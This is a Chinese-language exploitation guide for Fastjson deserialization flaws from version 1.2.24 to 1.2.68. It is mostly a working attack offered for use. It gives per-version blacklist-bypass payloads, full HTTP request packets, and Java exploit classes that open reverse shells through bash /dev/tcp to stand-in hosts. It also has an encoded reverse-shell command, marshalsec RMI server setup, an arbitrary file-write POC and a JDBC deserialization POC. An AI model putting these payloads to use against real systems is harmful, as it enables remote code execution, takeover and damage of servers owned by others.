0x01 Fastjson 概述
1.应用场景
接口返回数据
- Ajax异步访问数据
- RPC远程调用
- 前后端分离后端返回的数据
- 开放API(一些公司开放接口的时候,我们点击请求,返回的数据是JSON格式的)
- 企业间合作接口(数据对接的时候定义的一种规范,确定入参,出差)
序列化
将对象数据转换为JSON格式,利用JSON来实现序列化存储在磁盘中。
生成Token
也就是使用json将一些数据封装起来当做访问一些应用的令牌。
作为配置文件
eg:npm的package.json
包管理配置文件
不过一般情况下使用json作为配置文件的情况很少,并不建议使用。
Json的应用场景以及GSON和FastJson的简单使用 - 代码先锋网
2.黑盒测试
Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。
它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试" # {"2.fastjson与jackson区别,如果请求包中的 json 如下: {"name":"S", "age":21} 追加一个随机 key ,修改 json 为 {"name":"S", "age":21,"agsbdkjada__ss_d":123} 这里 fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能 少不能多 key, 所以会报错,服务器的响应包中多少会有异常回显3.dos检测 dos {"a:"\x 看返回时间4.如果是json字符串中name字段存在反序列化 {"id":"1","name":"wangwei"}那么poc就是 {"id":"1","name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}小tips 1.在测试过程中发现只要回显比较慢,或者感觉卡顿都有可能是正在执行命令,所以比较慢 2.poc.java文件用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6 |
0x02 fastjson 反序列化漏洞原理
img
名词解释
@type
指定的解析类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以要想反序列化这两个,需要在parseObject()
时设置Feature.SupportNonPublicField
fastjson<=1.2.24
因为不让属性,找错类型@type
引入了autotype
,com.sun.rowset.JdbcRowSetImpl
一定会被读取加载
com.sun.rowset.JdbcRowSetImpl
是个恶意类,默认对属性不做任何处理,导致了反序列化,可以任意执行命令
EXP
1 2 3 4 5 6 7 8 9 | // exp 1.2.24{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.com:9999/TouchFile","autoCommit":true} } |
fastjson<=1.2.41
既1.2.25版本之后设置了autoTypeSupport
属性默认为false
,并且增加了checkAutoType()
函数,修复是用了白名单,后面是通过绕过白名单来进行攻击的com.sun.rowset.JdbcRowSetImpl
在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L
”开头、以”;
”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L
,尾部加;
即可绕过黑名单的同时加载类。
EXP
1 2 3 4 5 6 7 | {"b":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://test.com:9999/TouchFile","autoCommit":true} } |
autoTypeSupport
属性为true
才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.42
如果输入类名的开头和结尾是L
和;
就将头和尾去掉,再进行黑名单验证。 还把黑名单的内容进行了加密,黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist 绕过方法,在类名外部嵌套2层L;
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
EXP
1 2 3 4 5 6 7 | {"b":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://test.com:9999/TouchFile","autoCommit":true} } |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.43
fastjson在1.2.43中checkAutoType()
函数增加判断开头为LL
直接报错。 绕过方法: 根据fastjson判断函数,[
开头则提取类名,且后面字符字符为”[
“、”{
“等,即可正常调用
EXP
1 2 3 4 5 6 7 | {"b":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://test.com:9999/TouchFile","autoCommit":true} } |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.45
前提条件:需要目标服务端存在mybatis
的jar包,且版本需为3.x.x
系列<3.5.0
的版本。 使用黑名单绕过,org.apache.ibatis.datasource
在1.2.46
版本被加入了黑名单 由于在项目中使用的频率也较高,所以影响范围较大。
EXP
1 2 3 4 5 6 | {"b":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}} } |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson<=1.2.47
对版本小于1.2.48的版本通杀,autoType
为关闭状态也可使用。 loadClass
中默认cache
设置为true
,
(1)首先使用java.lang.Class
把获取到的类缓存到mapping
中,
(2)直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl
这个类,绕过了黑名单机制。
EXP
1 2 3 4 5 6 7 8 9 10 11 | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/Exploit","autoCommit":true} } |
fastjson<=1.2.62
基于黑名单绕过
1 2 3 4 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit" }"; |
fastjson<=1.2.66
关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
EXP
1 2 3 4 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
【漏洞利用】Fastjson反序列化进攻利用
fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili
GitHub - LeadroyaL/fastjson-blacklist
0x03 Fastjson 漏洞利用方式
编写EXP->启动python服务器->启动rmi 监听-> 发送poc->成功反弹shell
需要 Java 环境
编译EXP
将代码编写为class类文件,并将生成的类文件放在web目录下,并启动web服务
Runtime.exec Payload Generater | AresX's Blog
EXP编码 bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"});//需要进行 base64 编码InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {} } |
编译 EXP 并启动 python 服务器
1 2 3 4 | #编译 javac Exploit.java # python 服务 python3 -m http.server 8001 |
配置RMI环境
用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类
1 2 3 4 5 | git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ mvn install mvn clean package –DskipTests cd target/ |
启动RMI服务监听
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999 |
备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加#
反弹shell
把网站json数据包替换,然后发包,VPS即可收到
这里的EXP 根据Fastjson 版本不同,进行替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST / HTTP/1.1 Host: 1.1.1.1:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 260{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://2.2.2.2:9999/Exploit","autoCommit":true} } |
0x04 各个版本利用
fastjson 1.2.24
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | POST / HTTP/1.1 Host: you-ip:port Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 158{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8653/Exp","autoCommit":true} } |
fastjson 1.2.47
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST / HTTP/1.1 Host: you-ip:port Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 158{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8653/Exp","autoCommit":true} } |
fastjson burp 插件
GitHub - zilong3033/fastjsonScan: fastjson漏洞burp插件,检测fastjson<1.2.68基于dnslog,fastjson<=1.2.24和1.2.33<=fatjson<=1.2.47的不出网检测和TomcatEcho,SpringEcho回显方案。
fastjson 1.2.68
漏洞概述
在Fastjson<=1.2.68的版本中,通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码
Fastjson爆出的绕过方法可以通杀 1.2.68 以下所有版本
1 | Fastjson <= 1.2.68 |
POC
任意文件写入POC
1 2 3 | {"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}{"x":{"@type":"java.nio.charset.Charset","val":"500"}} |
JDBC反序列化POC
1 | {"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}} |
0x05 Fastjson不出网利用
GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合
1.服务器出网
使用jndi
注入-ldap -
rmi
2.服务器不能出网
- 直接本地反序列化
BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)TemplatesImpl
不常用
反序列化-_bytecodes直接反序列化Poc TemplatesImpl
1 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
创建Poc.java
代码如下 exec
为payload,使用低版本Java 执行最好是jdk8 以下的,javac Poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;public class Poc extends AbstractTranslet { public Poc() throws IOException {Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"});}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}public static void main(String[] args) throws Exception {Poc t = new Poc();} } |
new String[] 是以数组的方式传送,能执行多个命令,如果不加会报错。
在使用 python生成字节码
python fast.py
1 2 3 4 5 6 7 | import base64 fin = open(r"Poc.class", "rb") fout = open(r"en1.txt", "w") s = base64.encodestring(fin.read()).replace("\n", "") fout.write(s) fin.close() fout.close() |
最终payload
将生成的字节码放入 poc.class_base64
1.2.24 payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"} |
1.2.47 payload
1 | {"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["poc.class_base64"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b", "_version": "1.0","allowedProtocols": "all"}} |
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
插件地址
GitHub - bigsizeme/fastjson-check: fastjson 被动扫描、不出网payload生成
一键生成链子
看不到type类型,自行往右拉。
先config 选择 然后Generte Echo payload
img
img
一起来看看Fastjson的三种漏洞利用链-技术圈
fastjson 不出网利用总结-腾讯云开发者社区-腾讯云
https://xz.aliyun.com/t/7104
0x06 综合利用脚本
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
1 | java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" |
官网 GitHub - wyzxxz/jndi_tool: JNDI服务利用工具 RMI/LDAP,支持部分场景回显、内存shell,高版本JDK场景下利用等,fastjson rce命令执行,log4j rce命令执行 漏洞检测辅助工具
参考链接
一起来看看Fastjson的三种漏洞利用链-技术圈 Fastjson三条利用链
https://www.cnblogs.com/pickmea/p/15157189.html
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/
https://www.cnblogs.com/hei-zi/p/13274272.html